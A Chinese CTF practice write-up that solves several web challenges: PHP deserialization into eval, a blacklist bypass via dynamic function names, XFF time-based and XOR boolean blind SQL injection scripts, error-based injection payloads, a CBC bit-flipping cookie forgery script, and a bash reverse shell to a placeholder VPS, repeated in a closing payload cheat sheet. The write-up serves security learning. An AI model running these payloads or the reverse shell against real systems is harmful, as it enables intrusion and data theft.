一些基础题

前言

打比赛的时候一个变量覆盖看了半天,还是队里师傅提醒用php://input,发现自己基础很弱,于是把基础平台的Web刷了一遍,记录下一些有价值的题目。

Object

考察点:PHP反序列化、一些小trick

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php
error_reporting(0);
//flag在flag.php里
class flag
{
public $cmd='index.php';

public function __destruct(){
if (preg_match('/\w+\((?R)?\)/', $this->cmd)){
eval('$a="'.$this->cmd.'";');
}
else {
die('hack!!!');
}
}
}


if (!isset($_GET['fl']) || !isset($_GET['ag'])) {
die(@highlight_file('index.php',true));
}
else {
if (!(preg_match('/[A-Za-z0-9]+\(/i', $_GET['fl']))) {
die('hack!!!');
}
else {
echo unserialize($_GET['ag']);
}
}

思路非常清晰:fl绕过正则、ag传序列化对象并绕过正则;重写$this->cmd执行命令。

但是这里面有几个需要注意的地方:

  • ag正则的递归匹配
  • eval()的字符拼接
  • echo unserialize()报错问题

ag的递归匹配限制了我们传进去的函数不能有参数,当然,能够函数套函数;eval(‘$a=”…you_payload…”;’)

需要我们构造语句进行拼接;像echo unserialize($_GET[‘a’])这种反序列化一般都是调用__toString()方法的,用__destruct()的话在本地会报错,我在本地删掉echo或者用 __toString()方法都能正常执行命令,但是题目环境就不行。。另外这里感谢@南溟师傅的指点hhh。

payload:?fl=php(&ag=O:4:"flag":1:{s:3:"cmd";s:57:"print_r";$a(file_get_contents(getcwd()."/flag.php"));$b="";"}

PS:这里由于不能给函数传参,从手册中查了一个获取当前目录的getcwd()函数,然后拼接出flag.php的绝对路径。

Dynamic

考察点:PHP动态函数执行

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$blacklist = ["system", "ini_set", "exec", "scandir", "shell_exec", "proc_open", "error_log", "ini_alter", "ini_set", "pfsockopen", "readfile", "echo", "file_get_contents", "readlink", "symlink", "popen", "fopen", "file", "fpassthru"];
$blacklist = array_merge($blacklist, get_defined_functions()['internal']);
foreach($blacklist as $i){
if(stristr($_GET[cmd], $i)!==false){
die('hack');
}
}
eval($_GET[cmd]);

注意到可以命令执行,但是有黑名单,黑名单绕过姿势很多,关键是$blacklist = array_merge($blacklist, get_defined_functions()['internal']);这句,把内置函数都给加进黑名单了。。。

正好最近P神在Kcon上演讲的内容就是php的动态特性,之前也看到过他写的类似文章,这里直接写payload:

payload:?cmd=$a='php'.'info';$a();

INSERT INTO注入

考察点:时间注入脚本编写

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

发现是XFF注入,另外过滤了”,”。

由于输入什么都没有回显,这里尝试时间盲注,发现可行;逗号过滤用from for代替,直接上脚本。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -- coding: utf-8 --
import requests
import string
import time

url = "http://123.206.87.240:8002/web15/"
s = requests.session()

# 爆破长度
max_length = 100
# 字符集合
character = string.ascii_letters + string.digits + string.punctuation
# 数据库名
flag = ""
# 遍历每一个字符
for i in range(1, max_length):
for c in character:
xff = "1' and case when substr((select flag from flag) from %d for 1)='%s' then sleep(5) else 1 end and '1'='1" % (i, c)

try:
header = {'X-Forwarded-For': xff}
s.get(url, headers=header, timeout=3)
except requests.exceptions.ReadTimeout:
flag += c
print(flag)
break

PS:盲注时先手工判断语句与回显再编写脚本。

这是一个神奇的登陆框

考察点:报错注入

先在admin_user测试,发现双引号时admin_passwd报错,于是在admin_passwd处利用报错注入:

比较实用的几种报错注入方法:

1
?id=1' and updatexml(1,concat('~',(your_payload),'~'),3) --+
1
?id=1' and exp(~(select * from (your_payload) a) ); --+
1
?id=1' and (select 1 from (select count(*),concat(((your_payload)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

注意:超过一行时用 payload LIMIT 0,1逐个查询

payload:admin_name=admin &admin_passwd=123456" and updatexml(1,concat('~',(select database()),'~'),3) #

PS:以上三条都能打

PHP_encrypt_1

加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);//$klen=32
for ($i=0; $i < $len; $i++) {
if ($x == $klen) //如果$x=32
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

意思就是生成与明文长度相等的密钥流,然后对应位加密。

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function decrypt($crypt)
{
$crypt = base64_decode($crypt);
$len = strlen($crypt);
$key = md5('ISCC');
$klen = strlen($key);
$char = "";
$str = "";
$x = 0;
for ($i=0; $i < $len; $i++) {
if ($x == $klen) //如果$x=32
{
$x = 0;
}
$char .= $key[$x];
$x += 1;
}
for($i=0;$i<$len;$i++){
if(ord($crypt[$i]) >= ord($char[$i])){
$str .= chr((ord($crypt[$i])-ord($char[$i])));
}
else if(ord($crypt[$i]) < ord($char[$i])){
$str .= chr((ord($crypt[$i])+128-ord($char[$i])));
}
}
print($str);
}

decrypt("fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=");

PS:题目给出了密文

login2(SKCTF)

考察点:union_md5()、命令执行反弹shell

在响应头中发现Hint:

Snipaste_2019-09-03_08-28-47.png

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

构造语句:submit=Login&username=admin' union select 1,md5(1)#&password=1

然后进入命令执行页面,输入反弹shell语句:

1
2
3
4
# VPS:
nc -lvp 6666
# 命令执行点:
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1

login3(SKCTF)

考察点:各种过滤、异或盲注

人工fuzz,发现过滤了空格、逗号、and、or、–+、union。

空格被过滤

1
2
3
4
/**/
()
%0a
+

这里发现可以用括号,另外需要注意or被过滤,这表示information_schema已经不能用了,最重要的是我们不能用 substr(“payload” from for)来截取字符串了。

这里我们需要用到ascii()函数的一个特性:ascii()在处理字符串时会返回第一个字符的ascii码,这样我们就能fuzz出每一个字符。

在编写脚本前先观察页面回显:

1
2
3
username=admin'^(0)^1#
&password=123456
&submit=Log In

1
2
3
username=admin'^(1)^1#
&password=123456
&submit=Log In

观察发现语句为假返回password error!,语句为真时返回username does not exist!

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -- coding: utf-8 --
"""
关键在于:异或判断 & ascii()处理字符串返回第一个字符的ascii值
"""
import requests
import string
character = string.ascii_letters + string.digits + string.punctuation
max_length = 100
flag = ""
url = "http://123.206.31.85:49167/"
s = requests.session()
for i in range(1, max_length):
for c in character:
payload = "(ascii(substr((select(password)from(admin))from(%d)))<>%d)" % (i, ord(c))
username = "admin'^(%s)^1#" % payload # 1=>username does not exist! 0=>password error!
password = 123456
data = {'username': username, 'password': password}
r = s.post(url, data=data)
if "username does not exist!" in r.text:
flag += c
print(flag)

login4(SKCTF)

考察点:CBC字节翻转攻击_脚本编写

之前一直以为很难懂,原来只是分组密码里的密文链接模式2333。

CBC加解密流程

加密的步骤简单来说,首先把明文分组(通常16字节一组),然后与上一组的密文异或,再用密钥加密输出即可。

这里注意第一组用初始向量异或。

对应的解密步骤,把密文分组,先用密钥解密,再与上一组密文异或得到明文。

CBC字节翻转攻击

这类题目一般初始向量IV和加密的密文可控,然后题目实现一个加密和解密的过程,要求解密后的明文有指定的内容。(当然一开始是没有的)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}
function show_homepage(){
if ($_SESSION["username"]==='admin'){
echo '<p>Hello admin</p>';
echo '<p>Flag is $flag</p>';
}else{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '<body class="login-body">
<div id="wrapper">
<div class="user-icon"></div>
<div class="pass-icon"></div>
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>Fill out the form below to login to my super awesome imaginary control panel.</span>
</div>
<div class="content">
<input name="username" type="text" class="input username" value="Username" οnfοcus="this.value=\'\'" />
<input name="password" type="password" class="input password" value="Password" οnfοcus="this.value=\'\'" />
</div>
<div class="footer">
<input type="submit" name="submit" value="Login" class="button" />
</div>
</form>
</div>
</body>';
}
}
?>
</html>

这里要求username为admin,但是又不能输入admin,这里就可以利用CBC字节翻转攻击。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -- coding: utf-8 --
"""
source_plain = decrypt(cypher, key) ^ pr_cypher
target_plain = decrypt(cypher, key) ^ new_pr_cypher

decrypt(cypher, key) = source_plain ^ pr_cypher
decrypt(cypher, key) = targer_plain ^ new_pr_cypher
source_plain ^ pr_cypher = targer_plain ^ new_pr_cypher

*** new_pr_cypher = souce_plain ^ target_plain ^ pr_cypher ***
"""
import base64
import urllib

# POST:username=zdmin&password=12345
# s:2:{s:8:"userna
# me";s:5:"zdmin"; # 第2组 第10字节
# s:8:"password";s
# :3:"12345";}


# 更改上一组的密文,控制本组明文输出
def cypher_payload():
cypher = 'ZAF4kXCUawL7i4ofBhE%2Bi5GTeMY4aHhzY8x%2FQKy%2FDdI5nJK6gHXbOMugUFTL6pG7gQBNvtsT6o0nq6Pd3MQeuw%3D%3D' # 填写第一次提交获得的密文
cypher = base64.b64decode(urllib.unquote(cypher))
new_cypher = cypher[0:9] + chr(ord('a') ^ ord('z') ^ ord(cypher[9])) + cypher[10:]
new_cypher = urllib.quote(base64.b64encode(new_cypher))
print "new_cypher:" + new_cypher


# 更改初始向量(上一组的上一组),保持上一组解密后明文不变
def iv_payload():
cipher = '+BHIbc7b6bOgCeaqeTLFQm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ==' # 填写提交后所得的无法反序列化的明文
iv = 'WGg7JCcty4UxRBR9L3EVEw%3D%3D' # 填写第一次提交获得的初始向量
# cipher = urllib.unquote(cipher)
cipher = base64.b64decode(cipher)
iv = base64.b64decode(urllib.unquote(iv))
right = 'a:2:{s:8:"userna' # 被破坏的分组
newIv = ""
for i in range(16):
newIv += chr(ord(right[i]) ^ ord(iv[i]) ^ ord(cipher[i])) # 这一步相当于把原来iv中不匹配的部分修改过来
print urllib.quote(base64.b64encode(newIv))


# 先走第一个函数构造上一组的密文,再走第二个函数构造上一组的上一组的密文(本题的初始化向量)
cypher_payload()
iv_payload()

不多解释了,脚本写得很清楚。

先获取zdmin加密后的密文和初始向量IV:

利用脚本获取new_cipher使其解密后zdmin变为admin:

填入new_cipher,获取返回的因为第一组被破坏而无法反序列化的明文:

利用脚本获取new_iv,使被修改的第一组密文正常解密:

向cookie中添加new_iv和new_cipher获取flag。

php://input

考察点:变量覆盖

这里我老是忘记,$b = file_get_contents($_GET[‘a’]),当a=php://input,然后post传1,$b就会等于1。

常用payload

联合查询

1
2
3
4
5
6
7
查库名---(select group_concat(schema_name) from information_schema.schemata)

查表名---(select group_concat(table_name) from information_schema.tables where table_schema='schema_name')

查字段---(select group_concat(column_name) from information_schema.columns where table_name='table_name')

查flag--- (select column_name from table_name)

报错注入

1
?id=1' and updatexml(1,concat('~',(your_payload),'~'),3) --+
1
?id=1' and exp(~(select * from (your_payload) a) ); --+
1
?id=1' and (select 1 from (select count(*),concat(((your_payload)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

注意:超过一行时用 payload LIMIT 0,1逐个查询

盲注

时间盲注

1
1' and case when substring((select flag from flag) from %d for 1)='%s'  then sleep(5) else 1 end and '1'='1

布尔盲注

1
admin'^(1)^1#

其他注入

union_md5()

1
username=admin' union select 1,ma5(1) %23&password=1

反弹shelll

1
2
3
4
# VPS:
nc -lvp 6666
# 命令执行点:
bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1

小结

比赛总是自闭,继续加油吧= =

0%